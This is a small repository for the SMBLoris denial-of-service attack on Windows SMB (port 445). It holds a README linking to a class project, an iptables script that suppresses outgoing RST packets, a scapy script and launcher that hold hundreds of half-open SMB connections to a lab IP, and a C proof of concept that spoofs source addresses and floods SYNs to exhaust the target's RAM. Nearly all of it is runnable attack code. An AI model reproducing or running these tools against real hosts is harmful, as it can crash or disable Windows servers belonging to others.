├── rst.sh ├── README.md ├── run10.sh ├── smb3.py └── smbloris.c /rst.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -F 4 | iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SMBLoris Attack Consumes RAM on Windows 2 | 3 | Source: https://www.youtube.com/watch?v=Y77er0gzQqA&app=desktop 4 | 5 | Info: https://samsclass.info/124/proj14/smbl.htm 6 | -------------------------------------------------------------------------------- /run10.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | python smb3.py 0 & 3 | python smb3.py 1000 & 4 | python smb3.py 2000 & 5 | python smb3.py 3000 & 6 | python smb3.py 4000 & 7 | python smb3.py 5000 & 8 | python smb3.py 6000 & 9 | python smb3.py 7000 & 10 | python smb3.py 8000 & 11 | python smb3.py 9000 & 12 | -------------------------------------------------------------------------------- /smb3.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | 4 | p0 = int(sys.argv[1]) 5 | 6 | conf.L3socket 7 | conf.L3socket=L3RawSocket 8 | 9 | i = IP() 10 | i.dst = "192.168.2.186" 11 | t = TCP() 12 | t.dport = 445 13 | 14 | for p in range(p0,p0+700): 15 | print p 16 | t.sport = p 17 | t.flags = "S" 18 | 19 | r = sr1(i/t) 20 | rt = r[TCP] 21 | t.ack = rt.seq + 1 22 | t.seq = rt.ack 23 | t.flags = "A" 24 | sbss = '\x00\x01\xff\xff' 25 | send(i/t/sbss) 26 | -------------------------------------------------------------------------------- /smbloris.c: -------------------------------------------------------------------------------- 1 | /* SMBLoris attack proof-of-concept 2 | * 3 | * Copyright 2017 Hector Martin "marcan" 4 | * 5 | * Licensed under the terms of the 2-clause BSD license. 6 | * 7 | * This is a proof of concept of a publicly disclosed vulnerability. 8 | * Please do not go around randomly DoSing people with it. 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #define CHECK(cond, name) if (cond) { perror(name); exit(1); } 28 | 29 | #define MIN_PORT 1 30 | #define MAX_PORT 65535 31 | 32 | struct { 33 | char *iface; 34 | uint8_t hwaddr[6]; 35 | uint32_t src_min; 36 | uint32_t src_max; 37 | uint32_t dst; 38 | struct sockaddr_in dst_sa; 39 | } cfg; 40 | 41 | int sock; 42 | 43 | static void usage(const char *argv0) { 44 | fprintf(stderr, "Usage: %s \n", argv0); 45 | exit(1); 46 | } 47 | 48 | uint32_t parse_ip(const char *s) { 49 | int a,b,c,d; 50 | if (sscanf(s, "%d.%d.%d.%d", &a, &b, &c, &d) != 4) { 51 | fprintf(stderr, "Failed to parse IPv4 address %s\n", s); 52 | exit(1); 53 | } 54 | return (a<<24) | (b<<16) | (c<<8) | d; 55 | } 56 | 57 | uint16_t fold(uint32_t v) { 58 | return (v & 0xffff) + (v >> 16); 59 | } 60 | 61 | uint32_t csum(void *buf, int len) 62 | { 63 | uint32_t s = 0; 64 | uint16_t *p = buf; 65 | while (len) { 66 | s += *p++; 67 | len -= 2; 68 | } 69 | return s; 70 | } 71 | 72 | void get_hwaddr(const char *iface, uint8_t *hwaddr) 73 | { 74 | int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP)); 75 | CHECK(sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)"); 76 | struct ifreq req; 77 | strncpy(req.ifr_name, iface, sizeof(req.ifr_name)); 78 | CHECK(ioctl(sock, SIOCGIFHWADDR, &req) < 0, "ioctl(SIOCGIFHWADDR)"); 79 | memcpy(cfg.hwaddr, req.ifr_hwaddr.sa_data, 6); 80 | close(sock); 81 | } 82 | 83 | void send_arp(uint32_t addr) 84 | { 85 | struct sockaddr sa; 86 | strncpy(sa.sa_data, cfg.iface, sizeof(sa.sa_data)); 87 | 88 | struct { 89 | struct ether_header eth; 90 | struct arphdr arp; 91 | uint8_t ar_sha[6]; 92 | uint32_t ar_sip; 93 | uint8_t ar_tha[6]; 94 | uint32_t ar_tip; 95 | } __attribute__((packed)) pkt; 96 | memset(&pkt, 0, sizeof(pkt)); 97 | memset(&pkt.eth.ether_dhost, 0xff, 6); 98 | memcpy(&pkt.eth.ether_shost, cfg.hwaddr, 6); 99 | pkt.eth.ether_type = htons(ETHERTYPE_ARP); 100 | 101 | pkt.arp.ar_hrd = htons(1); 102 | pkt.arp.ar_pro = htons(ETH_P_IP); 103 | pkt.arp.ar_hln = 6; 104 | pkt.arp.ar_pln = 4; 105 | pkt.arp.ar_op = htons(ARPOP_REQUEST); 106 | memcpy(pkt.ar_sha, cfg.hwaddr, ETH_ALEN); 107 | pkt.ar_sip = htonl(addr); 108 | memset(pkt.ar_tha, 0xff, ETH_ALEN); 109 | pkt.ar_tip = htonl(addr); 110 | 111 | int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP)); 112 | CHECK (sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)"); 113 | CHECK(sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0, "sendto(gratuitous ARP)"); 114 | close(sock); 115 | } 116 | 117 | int sent_packets = 0, errors = 0, replies = 0; 118 | 119 | void process_replies(int sock, int rsock) 120 | { 121 | struct { 122 | struct iphdr ip; 123 | struct tcphdr tcp; 124 | uint8_t data[32]; 125 | } reply; 126 | 127 | while (1) { 128 | int ret = recv(rsock, &reply, sizeof(reply), 0); 129 | if (ret < 0 && errno == EAGAIN) 130 | return; 131 | CHECK(ret < 0, "recv"); 132 | 133 | if (reply.ip.saddr != htonl(cfg.dst)) 134 | continue; 135 | if (ntohl(reply.ip.daddr) < cfg.src_min || 136 | ntohl(reply.ip.daddr) > cfg.src_max) 137 | continue; 138 | if (reply.ip.protocol != IPPROTO_TCP || reply.tcp.source != htons(445)) 139 | continue; 140 | 141 | struct { 142 | struct iphdr ip; 143 | struct tcphdr tcp; 144 | uint8_t payload[4]; 145 | } __attribute__((packed)) pkt; 146 | 147 | memset(&pkt, 0, sizeof(pkt)); 148 | 149 | pkt.ip.ihl = 5; 150 | pkt.ip.version = 4; 151 | pkt.ip.ttl = 128; 152 | pkt.ip.protocol = IPPROTO_TCP; 153 | pkt.ip.saddr = reply.ip.daddr; 154 | pkt.ip.daddr = htonl(cfg.dst); 155 | pkt.tcp.dest = htons(445); 156 | pkt.tcp.source = reply.tcp.dest; 157 | pkt.tcp.doff = 5; 158 | pkt.tcp.window = htons(5840); 159 | pkt.tcp.ack = 1; 160 | pkt.tcp.ack_seq = htonl(ntohl(reply.tcp.seq) + 1); 161 | pkt.tcp.seq = reply.tcp.ack_seq; 162 | memcpy(pkt.payload, "\x00\x01\xff\xff", 4); 163 | 164 | uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr) + 4) + csum(&pkt.tcp, sizeof(struct tcphdr) + 4); 165 | pkt.tcp.check = 0xffff - fold(sum); 166 | if (pkt.tcp.check == 0) 167 | pkt.tcp.check = 0xffff; 168 | ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa)); 169 | if (ret < 0) { 170 | errors++; 171 | } else { 172 | replies++; 173 | } 174 | } 175 | } 176 | 177 | int main(int argc, char **argv) 178 | { 179 | if (argc != 5) { 180 | usage(argv[0]); 181 | } 182 | 183 | cfg.iface = argv[1]; 184 | cfg.src_min = parse_ip(argv[2]); 185 | cfg.src_max = parse_ip(argv[3]); 186 | cfg.dst = parse_ip(argv[4]); 187 | 188 | get_hwaddr(cfg.iface, cfg.hwaddr); 189 | fprintf(stderr, "Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", 190 | cfg.hwaddr[0], cfg.hwaddr[1], cfg.hwaddr[2], 191 | cfg.hwaddr[3], cfg.hwaddr[4], cfg.hwaddr[5]); 192 | 193 | int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 194 | CHECK(sock < 0, "socket(AF_INET, SOCK_RAW, IPPROTO_RAW)"); 195 | 196 | int rsock = socket(AF_PACKET, SOCK_DGRAM | SOCK_NONBLOCK, htons(ETH_P_IP)); 197 | CHECK(rsock < 0, "socket(AF_INET, SOCK_DGRAM, ETH_P_IP)"); 198 | 199 | struct { 200 | struct iphdr ip; 201 | struct tcphdr tcp; 202 | } __attribute__((packed)) pkt; 203 | 204 | memset(&pkt, 0, sizeof(pkt)); 205 | 206 | pkt.ip.ihl = 5; 207 | pkt.ip.version = 4; 208 | pkt.ip.ttl = 128; 209 | pkt.ip.protocol = IPPROTO_TCP; 210 | pkt.ip.daddr = htonl(cfg.dst); 211 | pkt.tcp.dest = htons(445); 212 | pkt.tcp.doff = 5; 213 | pkt.tcp.window = htons(5840); 214 | pkt.tcp.syn = 1; 215 | 216 | memset(&cfg.dst_sa, 0, sizeof(cfg.dst_sa)); 217 | 218 | cfg.dst_sa.sin_family = AF_INET; 219 | cfg.dst_sa.sin_port = 0; 220 | cfg.dst_sa.sin_addr.s_addr = htonl(cfg.dst); 221 | 222 | uint32_t src; 223 | int port; 224 | for (src = cfg.src_min; src <= cfg.src_max; src++) { 225 | pkt.ip.saddr = htonl(src); 226 | pkt.tcp.source = 0; 227 | pkt.tcp.check = 0; 228 | uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr)) + csum(&pkt.tcp, sizeof(struct tcphdr)); 229 | send_arp(src); 230 | for (port = MIN_PORT; port <= MAX_PORT; port++) { 231 | pkt.tcp.source = htons(port); 232 | pkt.tcp.check = 0xffff - fold(sum + htons(port)); 233 | if (pkt.tcp.check == 0) 234 | pkt.tcp.check = 0xffff; 235 | int ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa)); 236 | if (ret < 0) { 237 | errors++; 238 | } 239 | sent_packets++; 240 | if (sent_packets % 100 == 0) { 241 | fprintf(stderr, "\r%d sent, %d errors, %d replies", sent_packets, errors, replies); 242 | send_arp(src); 243 | } 244 | process_replies(sock, rsock); 245 | } 246 | } 247 | fprintf(stderr, "\n"); 248 | } 249 | --------------------------------------------------------------------------------